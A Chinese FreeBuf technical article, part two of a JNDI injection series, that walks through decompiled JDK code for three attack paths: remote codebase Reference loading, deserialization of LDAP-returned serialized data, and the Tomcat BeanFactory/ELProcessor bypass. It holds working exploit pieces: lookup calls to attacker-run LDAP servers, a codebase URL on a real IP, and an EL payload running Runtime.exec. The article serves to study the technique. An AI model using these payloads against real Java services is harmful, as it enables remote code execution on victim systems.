freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JNDI的基础利用总结(下篇)
2023-11-06 15:14:09

JNDI核心原理详细分析

具体情况举例之 --- 加载远程codebase中的reference

适用前提

image

  • 目标出网

  • jdk<8u191

举例分析

此处使用的是ldap协议因此受影响的版本即8u191以下,此处对应的便是SimpleCommand的情况

查询后返回的entry

image

attribute内容如下

{objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://124.222.42.210:8000/#SimpleCommand, javafactory=javaFactory: SimpleCommand, javaclassname=javaClassName: SimpleCommand}

image

static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }
        } catch (IOException var5) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var5);
            throw var4;
        }
    }

按照此处的逻辑首先拿到var2也就是codebasehttp://124.222.42.210:8000/#SimpleCommand

然后取出javaSerializedData存入var1,此处根本不存在这个属性所以为null,进入下一个分支判断

取出javaRemoteLocation存入var1, 此处也根本不存在这个属性所以为null,进入最后一个else分支

取出objectClass存入var1,也就是objectClass: javaNamingReference,此处不为null,进入判断是否包含javaNamingReference,大小写都判断一下是否存在,此处显然存在,因此会进入decodeReference()方法,此处传入两个参数,一个是整个attribute,另一个则是最先拿到的codebase var2

private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {
        String var4 = null;
        Attribute var2;
        if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {
            throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
        } else {
            String var3 = (String)var2.get();
            if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {
                var4 = (String)var2.get();
            }

            Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
            if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {
                BASE64Decoder var13 = null;
                ClassLoader var14 = helper.getURLClassLoader(var1);
                Vector var15 = new Vector();
                var15.setSize(var2.size());
                NamingEnumeration var16 = var2.getAll();

                while(var16.hasMore()) {
                    String var6 = (String)var16.next();
                    if (var6.length() == 0) {
                        throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty attribute value");
                    }

                    char var9 = var6.charAt(0);
                    byte var10 = 1;
                    int var11;
                    if ((var11 = var6.indexOf(var9, var10)) < 0) {
                        throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "separator '" + var9 + "'" + "not found");
                    }

                    String var7;
                    if ((var7 = var6.substring(var10, var11)) == null) {
                        throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty RefAddr position");
                    }

                    int var12;
                    try {
                        var12 = Integer.parseInt(var7);
                    } catch (NumberFormatException var18) {
                        throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "RefAddr position not an integer");
                    }

                    int var19 = var11 + 1;
                    if ((var11 = var6.indexOf(var9, var19)) < 0) {
                        throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "RefAddr type not found");
                    }

                    String var8;
                    if ((var8 = var6.substring(var19, var11)) == null) {
                        throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty RefAddr type");
                    }

                    var19 = var11 + 1;
                    if (var19 == var6.length()) {
                        var15.setElementAt(new StringRefAddr(var8, (String)null), var12);
                    } else if (var6.charAt(var19) == var9) {
                        ++var19;
                        if (var13 == null) {
                            var13 = new BASE64Decoder();
                        }

                        RefAddr var17 = (RefAddr)deserializeObject(var13.decodeBuffer(var6.substring(var19)), var14);
                        var15.setElementAt(var17, var12);
                    } else {
                        var15.setElementAt(new StringRefAddr(var8, var6.substring(var19)), var12);
                    }
                }

                for(int var20 = 0; var20 < var15.size(); ++var20) {
                    var5.add((RefAddr)var15.elementAt(var20));
                }
            }

            return var5;
        }
    }

首先判断是否包含必有属性javaClassName,必须得有这个,没有直接返回,再把javaClassName存入var3,此处值为javaClassName: SimpleCommand,再看看有没有javaFactory,这个是可选,假如有就存入var4,此处是包含的值为javaFactory: SimpleCommand,接着便根据javaClassName,javaFactory和codebase值建立一个Reference。接着判断javaReferenceAddress是否为null,此处属性不含这个,因此跳过。直接返回建立的引用Reference

image

返回到ldapCtx

image

在此处实例化了远程引用var3

跟进DirectoryManager中的getObjectInstance方法

image

核心点

image

factory = getObjectFactoryFromReference(ref, f);

image

先尝试本地加载,否则用codebase加载。最终因为加载我们的远程恶意类,再静态方法区嵌入恶意代码,实例化过程中被执行

image

image

java>8u191 修复原理,对使用codebase进行URLClassloader加载前进行trustURLCodebase判断

在使用远程codebase进行loadClass时不会像上面这样直接去Class.forName()而是

image

可以看到对trustURLCodebase进行了判断,只有为true才会进行实例化。

image

需要在SystemProperty中显式设置,否则默认为false

具体利用情况举例之 --- 反序列化恶意返回数据中的serializedData

适用前提
  • 目标出网

  • 其环境存在可以被利用的序列化gadget

举例分析
import javax.naming.Context;
import javax.naming.InitialContext;

public class mainSer {
    public static void main(String[] args) throws Exception{
        Context context = new InitialContext();
        context.lookup("ldap://vps.matrix-cain.top:1389/CC6");
    }
}

这次可以看到返回的属性少了很多,只返回了俩,javaSerializeddata和必有得核心属性javaclassname

image

前面部分都一样,核心点还是在com.sun.jndi.ldap.Obj#decodeObject()方法中

static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }
        } catch (IOException var5) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var5);
            throw var4;
        }
    }

这次直接在第一个if就符合有javaSerializeddata属性的条件,直接跟进deserializeObject()方法,传入两个参数

image

image

最终在此处readObject触发java原生反序列化

具体利用情况举例之 --- 恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令

前言

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory
Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory
接口,并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory
刚好满足条件并且存在被利用的可能。

适用前提
  • 目标出网

  • 目标存在合适的工厂类例如Tomcat中广泛存在的org.apache.naming.factory.BeanFactory
    image

举例分析
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import javax.script.ScriptEngineManager;

import org.apache.naming.ResourceRef;
import org.apache.naming.factory.BeanFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class mainFactory {
    public static void main(String[] args) throws Exception{
     //new ScriptEngineManager().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')");
//        String cmd = "'calc'";
//        String payload = ("{" +
//                "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
//                ".newInstance().getEngineByName(\"JavaScript\")" +
//                ".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" +
//                "}")
//                .replace("${command}", cmd);
//
//        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
//                true, "org.apache.naming.factory.BeanFactory", null);
//        ref.add(new StringRefAddr("forceString", "x=eval"));
//        ref.add(new StringRefAddr("x", payload));
//        ByteArrayOutputStream out = new ByteArrayOutputStream();
//        ObjectOutputStream objOut = new ObjectOutputStream(out);
//        objOut.writeObject(ref);
//        ResourceRef a = (ResourceRef) new ObjectInputStream(new ByteArrayInputStream(out.toByteArray())).readObject();
//
//        System.out.println(a);
        Context context = new InitialContext();
        context.lookup("ldap://vps.matrix-cain.top:1389/Tomcat");

    }
}

和反序列化的利用手法有点一致,这里也是进行反序列化

image

服务器返回的恶意响应如上

static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }
        } catch (IOException var5) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var5);
            throw var4;
        }
    }

因此直接进入第一个if分支,进行反序列化

但是反序列化后还没完,反序列化后拿到的是

image

image

var3,这里又和情况1,加载远程codebase中的reference有点类似了,但是此处为ResourceRef,继续跟进

image

熟悉的getObjectInstance,从Reference中拿instance

image

这里ResourceRef还是属于Reference

ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=x=eval},{type=x,content={"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec(String.fromCharCode(99,97,108,99,46,101,120,101))")}}]

image

从ref中拿我们指定的factory

image

image

这里就是初始化本地的factory

image

核心点,调用了factory的getObjectInstance()我们跟进看看

image

org.apache.naming.factory.BeanFactory 在 getObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该BeanClass的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

这个情况下,目标BeanClass必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set..开头的方法,根据org.apache.naming.factory.BeanFactory中的逻辑,我们可以把某个方法强制指定为setter。这里,我们找到了javax.el.ELProcessor可以作为目标Class。

image

可以看到这里主动从ref中拿属性

image

image

image

至此完成利用

复现踩坑点

这个org.apache.naming.factory.BeanFactory

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.75</version>
            <scope>provided</scope>
        </dependency>

依赖中也有el

image

但是实例化时会报错,缺少ExpressionFactory,必须搭配如下依赖才行

<dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.45</version>
        </dependency>

也就是说有两套组合

<dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.45</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.75</version>
        </dependency>

或者

<dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.5.61</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.45</version>
        </dependency>

高版本利用

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

参考

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

marshalsec.pdf

https://paper.seebug.org/1091

https://longlone.top/qq%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/JNDI/


YAK官方资源

YAK 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

# java # JNDI
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录